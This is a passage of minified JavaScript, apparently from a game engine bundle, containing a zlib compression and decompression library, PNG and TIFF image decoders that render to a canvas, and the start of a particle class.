- d.GQ&&(this.wS=d.GQ);e=c[this.C++];f=c[this.C++];switch(e&15){case aa:this.method=aa;break;default:a(Error("unsupported compression method"))}0!==((e<<8)+f)%31&&a(Error("invalid fcheck flag:"+((e<<8)+f)%31));f&32&&a(Error("fdict flag is not supported"));this.LG=new s(c,{index:this.C,mE:d.mE,nE:d.nE,resize:d.resize})}var D=void 0,F=!0,B=this,y="undefined"!==typeof Uint8Array&&"undefined"!==typeof Uint16Array&&"undefined"!==typeof Uint32Array;e.prototype.Fh=function(){var a=this.buffer,c,d=a.length,
- e=new (y?Uint8Array:Array)(d<<1);if(y)e.set(a);else for(c=0;c<d;++c)e[c]=a[c];return this.buffer=e};e.prototype.K=function(a,c,d){var e=this.buffer,f=this.index,g=this.Ns,h=e[f];d&&1<c&&(a=8<c?(G[a&255]<<24|G[a>>>8&255]<<16|G[a>>>16&255]<<8|G[a>>>24&255])>>32-c:G[a]>>8-c);if(8>c+g)h=h<<c|a,g+=c;else for(d=0;d<c;++d)h=h<<1|a>>c-d-1&1,8===++g&&(g=0,e[f++]=G[h],h=0,f===e.length&&(e=this.Fh()));e[f]=h;this.buffer=e;this.Ns=g;this.index=f};e.prototype.finish=function(){var a=this.buffer,c=this.index,d;
- 0<this.Ns&&(a[c]<<=8-this.Ns,a[c]=G[a[c]],c++);y?d=a.subarray(0,c):(a.length=c,d=a);return d};var A=new (y?Uint8Array:Array)(256),w;for(w=0;256>w;++w){for(var C=w,H=C,I=7,C=C>>>1;C;C>>>=1)H<<=1,H|=C&1,--I;A[w]=(H<<I&255)>>>0}var G=A,A=[0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,
- 4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,
- 251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015,
- 1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381,
- 1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115,
- 1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918E3,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117];y&&new Uint32Array(A);f.prototype.getParent=function(a){return 2*
- ((a-2)/4|0)};f.prototype.push=function(a,c){var d,e,f=this.buffer,g;d=this.length;f[this.length++]=c;for(f[this.length++]=a;0<d;)if(e=this.getParent(d),f[d]>f[e])g=f[d],f[d]=f[e],f[e]=g,g=f[d+1],f[d+1]=f[e+1],f[e+1]=g,d=e;else break;return this.length};f.prototype.pop=function(){var a,c,d=this.buffer,e,f,g;c=d[0];a=d[1];this.length-=2;d[0]=d[this.length];d[1]=d[this.length+1];for(g=0;;){f=2*g+2;if(f>=this.length)break;f+2<this.length&&d[f+2]>d[f]&&(f+=2);if(d[f]>d[g])e=d[g],d[g]=d[f],d[f]=e,e=d[g+
- 1],d[g+1]=d[f+1],d[f+1]=e;else break;g=f}return{index:a,value:c,length:this.length}};var O=2,A={NONE:0,r:1,Mx:O,G8:3},R=[];for(w=0;288>w;w++)switch(F){case 143>=w:R.push([w+48,8]);break;case 255>=w:R.push([w-144+400,9]);break;case 279>=w:R.push([w-256+0,7]);break;case 287>=w:R.push([w-280+192,8]);break;default:a("invalid literal: "+w)}h.prototype.il=function(){var c,d,f,g,h=this.input;switch(this.vp){case 0:f=0;for(g=h.length;f<g;){d=y?h.subarray(f,f+65535):h.slice(f,f+65535);f+=d.length;var k=f===
- g,m=D,s=m=D,s=m=D,t=this.a,u=this.b;if(y){for(t=new Uint8Array(this.a.buffer);t.length<=u+d.length+5;)t=new Uint8Array(t.length<<1);t.set(this.a)}m=k?1:0;t[u++]=m|0;m=d.length;s=~m+65536&65535;t[u++]=m&255;t[u++]=m>>>8&255;t[u++]=s&255;t[u++]=s>>>8&255;if(y)t.set(d,u),u+=d.length,t=t.subarray(0,u);else{m=0;for(s=d.length;m<s;++m)t[u++]=d[m];t.length=u}this.b=u;this.a=t}break;case 1:f=new e(new Uint8Array(this.a.buffer),this.b);f.K(1,1,F);f.K(1,2,F);h=p(this,h);d=0;for(k=h.length;d<k;d++)if(g=h[d],
- e.prototype.K.apply(f,R[g]),256<g)f.K(h[++d],h[++d],F),f.K(h[++d],5),f.K(h[++d],h[++d],F);else if(256===g)break;this.a=f.finish();this.b=this.a.length;break;case O:g=new e(new Uint8Array(this.a),this.b);var v,w,x,z=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15],C,A,m=Array(19),E,t=O;g.K(1,1,F);g.K(t,2,F);h=p(this,h);s=q(this.mS,15);C=r(s);t=q(this.eS,7);u=r(t);for(v=286;257<v&&0===s[v-1];v--);for(w=30;1<w&&0===t[w-1];w--);var B=v,G=w;c=new (y?Uint32Array:Array)(B+G);var K=new (y?Uint32Array:Array)(316),
- H,I;A=new (y?Uint8Array:Array)(19);for(E=x=0;E<B;E++)c[x++]=s[E];for(E=0;E<G;E++)c[x++]=t[E];if(!y)for(E=0,G=A.length;E<G;++E)A[E]=0;E=H=0;for(G=c.length;E<G;E+=x){for(x=1;E+x<G&&c[E+x]===c[E];++x);B=x;if(0===c[E])if(3>B)for(;0<B--;)K[H++]=0,A[0]++;else for(;0<B;)I=138>B?B:138,I>B-3&&I<B&&(I=B-3),10>=I?(K[H++]=17,K[H++]=I-3,A[17]++):(K[H++]=18,K[H++]=I-11,A[18]++),B-=I;else if(K[H++]=c[E],A[c[E]]++,B--,3>B)for(;0<B--;)K[H++]=c[E],A[c[E]]++;else for(;0<B;)I=6>B?B:6,I>B-3&&I<B&&(I=B-3),K[H++]=16,K[H++]=
- I-3,A[16]++,B-=I}c=y?K.subarray(0,H):K.slice(0,H);A=q(A,7);for(E=0;19>E;E++)m[E]=A[z[E]];for(x=19;4<x&&0===m[x-1];x--);z=r(A);g.K(v-257,5,F);g.K(w-1,5,F);g.K(x-4,4,F);for(E=0;E<x;E++)g.K(m[E],3,F);E=0;for(m=c.length;E<m;E++)if(d=c[E],g.K(z[d],A[d],F),16<=d){E++;switch(d){case 16:k=2;break;case 17:k=3;break;case 18:k=7;break;default:a("invalid code: "+d)}g.K(c[E],k,F)}k=[C,s];u=[u,t];d=k[0];k=k[1];t=u[0];C=u[1];u=0;for(m=h.length;u<m;++u)if(f=h[u],g.K(d[f],k[f],F),256<f)g.K(h[++u],h[++u],F),s=h[++u],
- g.K(t[s],C[s],F),g.K(h[++u],h[++u],F);else if(256===f)break;this.a=g.finish();this.b=this.a.length;break;default:a("invalid compression type")}return this.a};w=[];var Q;for(Q=3;258>=Q;Q++)C=m(),w[Q]=C[2]<<24|C[1]<<16|C[0];var T=y?new Uint32Array(w):w,K=A;t.prototype.il=function(){var c,e,f,g,h=0;g=this.a;c=aa;switch(c){case aa:e=Math.LOG2E*Math.log(32768)-8;break;default:a(Error("invalid compression method"))}e=e<<4|c;g[h++]=e;switch(c){case aa:switch(this.vp){case K.NONE:f=0;break;case K.r:f=1;break;
- case K.Mx:f=2;break;default:a(Error("unsupported compression type"))}break;default:a(Error("invalid compression method"))}c=f<<6|0;g[h++]=c|31-(256*e+c)%31;c=d(this.input);this.z.b=h;g=this.z.il();h=g.length;y&&(g=new Uint8Array(g.buffer),g.length<=h+4&&(this.a=new Uint8Array(g.length+4),this.a.set(g),g=this.a),g=g.subarray(0,h+4));g[h++]=c>>24&255;g[h++]=c>>16&255;g[h++]=c>>8&255;g[h++]=c&255;return g};c("Zlib.Deflate",t);c("Zlib.Deflate.compress",function(a,c){return(new t(a,c)).il()});c("Zlib.Deflate.CompressionType",
- K);c("Zlib.Deflate.CompressionType.NONE",K.NONE);c("Zlib.Deflate.CompressionType.FIXED",K.r);c("Zlib.Deflate.CompressionType.DYNAMIC",K.Mx);var la=0,ca=1,A={lR:la,YQ:ca};s.prototype.d=function(){for(;!this.cG;){var c=u(this,3);c&1&&(this.cG=F);c>>>=1;switch(c){case 0:var c=this.input,d=this.C,e=this.a,f=this.b,g=D,h=D,k=D,m=e.length,g=D;this.Gg=this.g=0;g=c[d++];g===D&&a(Error("invalid uncompressed block header: LEN (first byte)"));h=g;g=c[d++];g===D&&a(Error("invalid uncompressed block header: LEN (second byte)"));
- h|=g<<8;g=c[d++];g===D&&a(Error("invalid uncompressed block header: NLEN (first byte)"));k=g;g=c[d++];g===D&&a(Error("invalid uncompressed block header: NLEN (second byte)"));k|=g<<8;h===~k&&a(Error("invalid uncompressed block header: length verify"));d+h>c.length&&a(Error("input buffer is broken"));switch(this.ay){case la:for(;f+h>e.length;){g=m-f;h-=g;if(y)e.set(c.subarray(d,d+g),f),f+=g,d+=g;else for(;g--;)e[f++]=c[d++];this.b=f;e=this.Fh();f=this.b}break;case ca:for(;f+h>e.length;)e=this.Fh({ga:2});
- break;default:a(Error("invalid inflate mode"))}if(y)e.set(c.subarray(d,d+h),f),f+=h,d+=h;else for(;h--;)e[f++]=c[d++];this.C=d;this.b=f;this.a=e;break;case 1:this.dy(wa,xa);break;case 2:x(this);break;default:a(Error("unknown BTYPE: "+c))}}return this.GG()};w=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];var pa=y?new Uint16Array(w):w;w=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];var qa=y?new Uint16Array(w):w;w=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,
- 3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];var da=y?new Uint8Array(w):w;w=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];var ra=y?new Uint16Array(w):w;w=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];var ea=y?new Uint8Array(w):w;w=new (y?Uint8Array:Array)(288);C=0;for(H=w.length;C<H;++C)w[C]=143>=C?8:255>=C?9:279>=C?7:8;var wa=g(w);w=new (y?Uint8Array:Array)(30);C=0;for(H=w.length;C<H;++C)w[C]=5;var xa=g(w);s.prototype.dy=
- function(a,c){var d=this.a,e=this.b;this.fa=a;for(var f=d.length-258,g,h,k;256!==(g=v(this,a));)if(256>g)e>=f&&(this.b=e,d=this.Fh(),e=this.b),d[e++]=g;else for(g-=257,k=qa[g],0<da[g]&&(k+=u(this,da[g])),g=v(this,c),h=ra[g],0<ea[g]&&(h+=u(this,ea[g])),e>=f&&(this.b=e,d=this.Fh(),e=this.b);k--;)d[e]=d[e++-h];for(;8<=this.Gg;)this.Gg-=8,this.C--;this.b=e};s.prototype.YR=function(a,c){var d=this.a,e=this.b;this.fa=a;for(var f=d.length,g,h,k;256!==(g=v(this,a));)if(256>g)e>=f&&(d=this.Fh(),f=d.length),
- d[e++]=g;else for(g-=257,k=qa[g],0<da[g]&&(k+=u(this,da[g])),g=v(this,c),h=ra[g],0<ea[g]&&(h+=u(this,ea[g])),e+k>f&&(d=this.Fh(),f=d.length);k--;)d[e]=d[e++-h];for(;8<=this.Gg;)this.Gg-=8,this.C--;this.b=e};s.prototype.Fh=function(){var a=new (y?Uint8Array:Array)(this.b-32768),c=this.b-32768,d,e,f=this.a;if(y)a.set(f.subarray(32768,a.length));else for(d=0,e=a.length;d<e;++d)a[d]=f[d+32768];this.Nx.push(a);this.oy+=a.length;if(y)f.set(f.subarray(c,c+32768));else for(d=0;32768>d;++d)f[d]=f[c+d];this.b=
- 32768;return f};s.prototype.dS=function(a){var c,d=this.input.length/this.C+1|0,e,f,g,h=this.input,k=this.a;a&&("number"===typeof a.ga&&(d=a.ga),"number"===typeof a.MR&&(d+=a.MR));2>d?(e=(h.length-this.C)/this.fa[2],g=e/2*258|0,f=g<k.length?k.length+g:k.length<<1):f=k.length*d;y?(c=new Uint8Array(f),c.set(k)):c=k;return this.a=c};s.prototype.GG=function(){var a=0,c=this.a,d=this.Nx,e,f=new (y?Uint8Array:Array)(this.oy+(this.b-32768)),g,h,k,m;if(0===d.length)return y?this.a.subarray(32768,this.b):
- this.a.slice(32768,this.b);g=0;for(h=d.length;g<h;++g)for(e=d[g],k=0,m=e.length;k<m;++k)f[a++]=e[k];g=32768;for(h=this.b;g<h;++g)f[a++]=c[g];this.Nx=[];return this.buffer=f};s.prototype.UR=function(){var a,c=this.b;y?this.SG?(a=new Uint8Array(c),a.set(this.a.subarray(0,c))):a=this.a.subarray(0,c):(this.a.length>c&&(this.a.length=c),a=this.a);return this.buffer=a};z.prototype.d=function(){var c=this.input,e,f;e=this.LG.d();this.C=this.LG.C;this.wS&&(f=(c[this.C++]<<24|c[this.C++]<<16|c[this.C++]<<
- 8|c[this.C++])>>>0,f!==d(e)&&a(Error("invalid adler-32 checksum")));return e};c("Zlib.Inflate",z);c("Zlib.Inflate.BufferType",A);A.Y6=A.YQ;A.s7=A.lR;c("Zlib.Inflate.prototype.decompress",z.prototype.d);A=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];y&&new Uint16Array(A);A=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,258,258];y&&new Uint16Array(A);A=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0];y&&new Uint8Array(A);A=[1,2,3,4,5,7,9,13,
- 17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577];y&&new Uint16Array(A);A=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];y&&new Uint8Array(A);A=new (y?Uint8Array:Array)(288);w=0;for(C=A.length;w<C;++w)A[w]=143>=w?8:255>=w?9:279>=w?7:8;g(A);A=new (y?Uint8Array:Array)(30);w=0;for(C=A.length;w<C;++w)A[w]=5;g(A);var aa=8}).call(this);n=window;n=n.I9=n.Zlib;n.cH=n.Deflate;n.cH.vaa=n.cH.compress;n.yn=n.Inflate;n.yn.G7=n.yn.BufferType;
- n.yn.prototype.$M=n.yn.prototype.decompress;b.$S=b.oa.extend({ctor:function(a){var c,d,e,f;this.data=a;this.Xa=8;this.QF=[];this.Dx=[];this.kn={};this.hE=null;this.text={};for(e=null;;){c=this.Oj();f=a=void 0;f=[];for(a=0;4>a;++a)f.push(String.fromCharCode(this.data[this.Xa++]));a=f.join("");switch(a){case "IHDR":this.width=this.Oj();this.height=this.Oj();this.Yo=this.data[this.Xa++];this.wE=this.data[this.Xa++];this.Xa++;this.Xa++;this.Xa++;break;case "acTL":this.hE={uha:this.Oj(),vha:this.Oj()||Infinity,frames:[]};break;case "PLTE":this.QF=
- this.it(c);break;case "fcTL":e&&this.hE.frames.push(e);this.Xa+=4;e={width:this.Oj(),height:this.Oj(),KQ:this.Oj(),LQ:this.Oj()};a=this.iP();c=this.iP()||100;e.Gaa=1E3*a/c;e.Taa=this.data[this.Xa++];e.haa=this.data[this.Xa++];e.data=[];break;case "IDAT":case "fdAT":"fdAT"===a&&(this.Xa+=4,c-=4);a=(null!=e?e.data:void 0)||this.Dx;for(f=0;0<=c?f<c:f>c;0<=c?++f:--f)a.push(this.data[this.Xa++]);break;case "tRNS":this.kn={};switch(this.wE){case 3:this.kn.pF=this.it(c);c=255-this.kn.pF.length;if(0<c)for(a=
- 0;0<=c?a<c:a>c;0<=c?++a:--a)this.kn.pF.push(255);break;case 0:this.kn.Cea=this.it(c)[0];break;case 2:this.kn.gja=this.it(c)}break;case "tEXt":f=this.it(c);c=f.indexOf(0);a=String.fromCharCode.apply(String,f.slice(0,c));this.text[a]=String.fromCharCode.apply(String,f.slice(c+1));break;case "IEND":e&&this.hE.frames.push(e);a:{switch(this.wE){case 0:case 3:case 4:e=1;break a;case 2:case 6:e=3;break a}e=void 0}this.t=e;this.fO=4===(d=this.wE)||6===d;d=this.t+(this.fO?1:0);this.a4=this.Yo*d;Uint8Array!=
- Array&&(this.Dx=new Uint8Array(this.Dx));return;default:this.Xa+=c}this.Xa+=4;if(this.Xa>this.data.length)throw Error("Incomplete or corrupt PNG file");}},it:function(a){var c,d;d=[];for(c=0;0<=a?c<a:c>a;0<=a?++c:--c)d.push(this.data[this.Xa++]);return d},Oj:function(){var a,c,d,e;a=this.data[this.Xa++]<<24;c=this.data[this.Xa++]<<16;d=this.data[this.Xa++]<<8;e=this.data[this.Xa++];return a|c|d|e},iP:function(){var a,c;a=this.data[this.Xa++]<<8;c=this.data[this.Xa++];return a|c},W_:function(a){var c,
- d,e,f,g,h,k,m,p,q,r,t,s,u,v;null==a&&(a=this.Dx);if(0===a.length)return new Uint8Array(0);a=(new Zlib.yn(a,{index:0,GQ:!1})).$M();m=this.a4/8;t=m*this.width;p=new Uint8Array(t*this.height);h=a.length;for(d=q=r=0;q<h;){switch(a[q++]){case 0:for(c=0;c<t;c+=1)p[d++]=a[q++];break;case 1:for(f=s=0;s<t;f=s+=1)c=a[q++],g=f<m?0:p[d-m],p[d++]=(c+g)%256;break;case 2:for(f=g=0;g<t;f=g+=1)c=a[q++],e=(f-f%m)/m,s=r&&p[(r-1)*t+e*m+f%m],p[d++]=(s+c)%256;break;case 3:for(f=v=0;v<t;f=v+=1)c=a[q++],e=(f-f%m)/m,g=f<
- m?0:p[d-m],s=r&&p[(r-1)*t+e*m+f%m],p[d++]=(c+Math.floor((g+s)/2))%256;break;case 4:for(f=v=0;v<t;f=v+=1)c=a[q++],e=(f-f%m)/m,g=f<m?0:p[d-m],0===r?s=u=0:(s=p[(r-1)*t+e*m+f%m],u=e&&p[(r-1)*t+(e-1)*m+f%m]),k=g+s-u,f=Math.abs(k-g),e=Math.abs(k-s),k=Math.abs(k-u),g=f<=e&&f<=k?g:e<=k?s:u,p[d++]=(c+g)%256;break;default:throw Error("Invalid filter algorithm: "+a[q-1]);}r++}return p},U_:function(a,c){var d,e,f,g,h,k,m,p;e=this.t;p=null;d=this.fO;this.QF.length&&(p=null!=(f=this.nW)?f:this.nW=this.V_(),e=4,
- d=!0);f=a.data||a;m=f.length;h=p||c;g=k=0;if(1===e)for(;g<m;)e=p?4*c[g/4]:k,k=h[e++],f[g++]=k,f[g++]=k,f[g++]=k,f[g++]=d?h[e++]:255,k=e;else for(;g<m;)e=p?4*c[g/4]:k,f[g++]=h[e++],f[g++]=h[e++],f[g++]=h[e++],f[g++]=d?h[e++]:255,k=e},V_:function(){var a,c,d,e,f,g,h,k,m;d=this.QF;g=this.kn.pF||[];f=new Uint8Array((g.length||0)+d.length);c=h=a=e=0;for(k=d.length;h<k;c=h+=3)f[e++]=d[c],f[e++]=d[c+1],f[e++]=d[c+2],f[e++]=null!=(m=g[a++])?m:255;return f},A4:function(a){var c;a.width=this.width;a.height=
- this.height;a=a.getContext("2d");c=a.createImageData(this.width,this.height);this.U_(c,this.W_());return a.putImageData(c,0,0)}});b.A6={aL:!1,tm:null,FB:[],getUint8:function(a){return this.tm[a]},getUint16:function(a){return this.aL?this.tm[a+1]<<8|this.tm[a]:this.tm[a]<<8|this.tm[a+1]},getUint32:function(a){var c=this.tm;return this.aL?c[a+3]<<24|c[a+2]<<16|c[a+1]<<8|c[a]:c[a]<<24|c[a+1]<<16|c[a+2]<<8|c[a+3]},J_:function(){var a=this.getUint16(0);if(18761===a)this.LF=!0;else if(19789===a)this.LF=!1;else throw console.log(a),TypeError("Invalid byte order value.");return this.LF},n2:function(){if(42!==this.getUint16(2))throw RangeError("You forgot your towel!");
- return!0},i1:function(a){var c=this.I0;return a in c?c[a]:null},g1:function(a){var c=this.H0;if(a in c)return c[a];console.log("Unknown Field Tag:",a);return"Tag"+a},h1:function(a){return-1!==["BYTE","ASCII","SBYTE","UNDEFINED"].indexOf(a)?1:-1!==["SHORT","SSHORT"].indexOf(a)?2:-1!==["LONG","SLONG","FLOAT"].indexOf(a)?4:-1!==["RATIONAL","SRATIONAL","DOUBLE"].indexOf(a)?8:null},j1:function(a,c,d,e){a=[];var f=this.h1(c);if(4>=f*d)!1===this.LF?a.push(e>>>8*(4-f)):a.push(e);else for(var g=0;g<d;g++){var h=
- f*g;8<=f?-1!==["RATIONAL","SRATIONAL"].indexOf(c)?(a.push(this.getUint32(e+h)),a.push(this.getUint32(e+h+4))):b.log("Can't handle this field type or size"):a.push(this.AN(f,e+h))}"ASCII"===c&&a.forEach(function(a,c,d){d[c]=String.fromCharCode(a)});return a},AN:function(a,c){if(0>=a)b.log("No bytes requested");else{if(1>=a)return this.getUint8(c);if(2>=a)return this.getUint16(c);if(3>=a)return this.getUint32(c)>>>8;if(4>=a)return this.getUint32(c);b.log("Too many bytes requested")}},S0:function(a,
- c,d){d=d||0;c+=Math.floor(d/8);var e=d+a;a=32-a;var f,g;0>=e?console.log("No bits requested"):8>=e?(f=24+d,g=this.getUint8(c)):16>=e?(f=16+d,g=this.getUint16(c)):32>=e?(f=d,g=this.getUint32(c)):console.log("Too many bits requested");return{bits:g<<f>>>a,byteOffset:c+Math.floor(e/8),bitOffset:e%8}},eP:function(a){var c=this.getUint16(a),d=[];a+=2;for(var e=0;e<c;a+=12,e++){var f=this.getUint16(a),g=this.getUint16(a+2),h=this.getUint32(a+4),k=this.getUint32(a+8),f=this.g1(f),g=this.i1(g),h=this.j1(f,
- g,h,k);d[f]={type:g,Rh:h}}this.FB.push(d);c=this.getUint32(a);0!==c&&this.eP(c)},Hm:function(a,c){var d=Math.pow(2,8-c);return Math.floor(a*d+(d-1))},V3:function(a,c){c=c||b.Rb("canvas");this.tm=a;this.canvas=c;this.J_();if(this.n2()){var d=this.getUint32(4);this.FB.length=0;this.eP(d);var e=this.FB[0],d=e.ImageWidth.Rh[0],f=e.ImageLength.Rh[0];this.canvas.width=d;this.canvas.height=f;var g=[],h=e.Compression?e.Compression.Rh[0]:1,k=e.SamplesPerPixel.Rh[0],m=[],p=0,q=!1;e.BitsPerSample.Rh.forEach(function(a,
- c){m[c]={Zo:a,yx:!1,ys:void 0};0===a%8&&(m[c].yx=!0,m[c].ys=a/8);p+=a},this);if(0===p%8)var q=!0,r=p/8;var t=e.StripOffsets.Rh,s=t.length;if(e.StripByteCounts)var u=e.StripByteCounts.Rh;else if(b.log("Missing StripByteCounts!"),1===s)u=[Math.ceil(d*f*p/8)];else throw Error("Cannot recover from missing StripByteCounts");for(var v=0;v<s;v++){var x=t[v];g[v]=[];for(var z=u[v],D=0,F=0,B=1,y=!0,A=[],w=0,C=0,H=0;D<z;D+=B)switch(h){case 1:B=0;for(A=[];B<k;B++)if(m[B].yx)A.push(this.AN(m[B].ys,x+D+m[B].ys*
- B));else{var I=this.S0(m[B].Zo,x+D,F);A.push(I.Yo);D=I.byteOffset-x;F=I.faa;throw RangeError("Cannot handle sub-byte bits per sample");}g[v].push(A);if(q)B=r;else throw B=0,RangeError("Cannot handle sub-byte bits per pixel");break;case 32773:if(y){var y=!1,G=1,O=1,B=this.getInt8(x+D);0<=B&&127>=B?G=B+1:-127<=B&&-1>=B?O=-B+1:y=!0}else{for(var R=this.getUint8(x+D),B=0;B<O;B++){if(m[C].yx)H=H<<8*w|R,w++,w===m[C].ys&&(A.push(H),H=w=0,C++);else throw RangeError("Cannot handle sub-byte bits per sample");
- C===k&&(g[v].push(A),A=[],C=0)}G--;0===G&&(y=!0)}B=1}}if(c.getContext){r=this.canvas.getContext("2d");r.fillStyle="rgba(255, 255, 255, 0)";v=e.RowsPerStrip?e.RowsPerStrip.Rh[0]:f;x=g.length;f%=v;f=0===f?v:f;D=v;h=0;A=e.PhotometricInterpretation.Rh[0];G=[];O=0;e.ExtraSamples&&(G=e.ExtraSamples.Rh,O=G.length);if(e.ColorMap)var I=e.ColorMap.Rh,Q=Math.pow(2,m[0].Zo);for(v=0;v<x;v++){v+1===x&&(D=f);e=g[v].length;h*=v;for(q=k=0;k<D,q<e;k++)for(t=0;t<d;t++,q++){u=g[v][q];y=F=z=0;s=1;if(0<O)for(z=0;z<O;z++)if(1===
- G[z]||2===G[z]){s=u[3+z]/256;break}switch(A){case 0:if(m[0].yx)var T=Math.pow(16,2*m[0].ys);u.forEach(function(a,c,d){d[c]=T-a});case 1:z=F=y=this.Hm(u[0],m[0].Zo);break;case 2:z=this.Hm(u[0],m[0].Zo);F=this.Hm(u[1],m[1].Zo);y=this.Hm(u[2],m[2].Zo);break;case 3:if(void 0===I)throw Error("Palette image missing color map");u=u[0];z=this.Hm(I[u],16);F=this.Hm(I[Q+u],16);y=this.Hm(I[2*Q+u],16);break;default:throw RangeError("Unknown Photometric Interpretation:",A);}r.fillStyle="rgba("+z+", "+F+", "+y+
- ", "+s+")";r.fillRect(t,h+k,1,1)}h=D}}return this.canvas}},H0:{315:"Artist",258:"BitsPerSample",265:"CellLength",264:"CellWidth",320:"ColorMap",259:"Compression",33432:"Copyright",306:"DateTime",338:"ExtraSamples",266:"FillOrder",289:"FreeByteCounts",288:"FreeOffsets",291:"GrayResponseCurve",290:"GrayResponseUnit",316:"HostComputer",270:"ImageDescription",257:"ImageLength",256:"ImageWidth",271:"Make",281:"MaxSampleValue",280:"MinSampleValue",272:"Model",254:"NewSubfileType",274:"Orientation",262:"PhotometricInterpretation",
- 284:"PlanarConfiguration",296:"ResolutionUnit",278:"RowsPerStrip",277:"SamplesPerPixel",305:"Software",279:"StripByteCounts",273:"StripOffsets",255:"SubfileType",263:"Threshholding",282:"XResolution",283:"YResolution",326:"BadFaxLines",327:"CleanFaxData",343:"ClipPath",328:"ConsecutiveBadFaxLines",433:"Decode",434:"DefaultImageColor",269:"DocumentName",336:"DotRange",321:"HalftoneHints",346:"Indexed",347:"JPEGTables",285:"PageName",297:"PageNumber",317:"Predictor",319:"PrimaryChromaticities",532:"ReferenceBlackWhite",
- 339:"SampleFormat",559:"StripRowCounts",330:"SubIFDs",292:"T4Options",293:"T6Options",325:"TileByteCounts",323:"TileLength",324:"TileOffsets",322:"TileWidth",301:"TransferFunction",318:"WhitePoint",344:"XClipPathUnits",286:"XPosition",529:"YCbCrCoefficients",531:"YCbCrPositioning",530:"YCbCrSubSampling",345:"YClipPathUnits",287:"YPosition",37378:"ApertureValue",40961:"ColorSpace",36868:"DateTimeDigitized",36867:"DateTimeOriginal",34665:"Exif IFD",36864:"ExifVersion",33434:"ExposureTime",41728:"FileSource",
- 37385:"Flash",40960:"FlashpixVersion",33437:"FNumber",42016:"ImageUniqueID",37384:"LightSource",37500:"MakerNote",37377:"ShutterSpeedValue",37510:"UserComment",33723:"IPTC",34675:"ICC Profile",700:"XMP",42112:"GDAL_METADATA",42113:"GDAL_NODATA",34377:"Photoshop"},I0:{1:"BYTE",2:"ASCII",3:"SHORT",4:"LONG",5:"RATIONAL",6:"SBYTE",7:"UNDEFINED",8:"SSHORT",9:"SLONG",10:"SRATIONAL",11:"FLOAT",12:"DOUBLE"}};b.mg=function(a,c,d,e,f,g,h,k,m,p,q,r){this.Xa=a?a:b.d(0,0);this.Oy=c?c:b.d(0,0);this.color=d?d:{r:0,g:0,b:0,a:255};this.Ds=e?e:{r:0,g:0,b:0,a:255};this.size=f||0;this.FE=g||0;this.rotation=h||0;this.fN=k||0;this.sl=m||0;this.atlasIndex=p||0;this.Qb=q?q:new b.mg.Hz;this.Dd=r?r:new b.mg.Iz;this.yO=!1;this.Fs=b.d(0,0)};b.mg.Hz=function(a,c,d){this.dir=a?a:b.d(0,0);this.radialAccel=c||0;this.tangentialAccel=d||0};b.mg.Iz=function(a,c,d,e){this.Fg=a||0;this.bN=c||0;this.ht=d||0;this.eN=e||0};
- b.mg.Bu=[b.d(),b.d(),b.d(),b.d()];
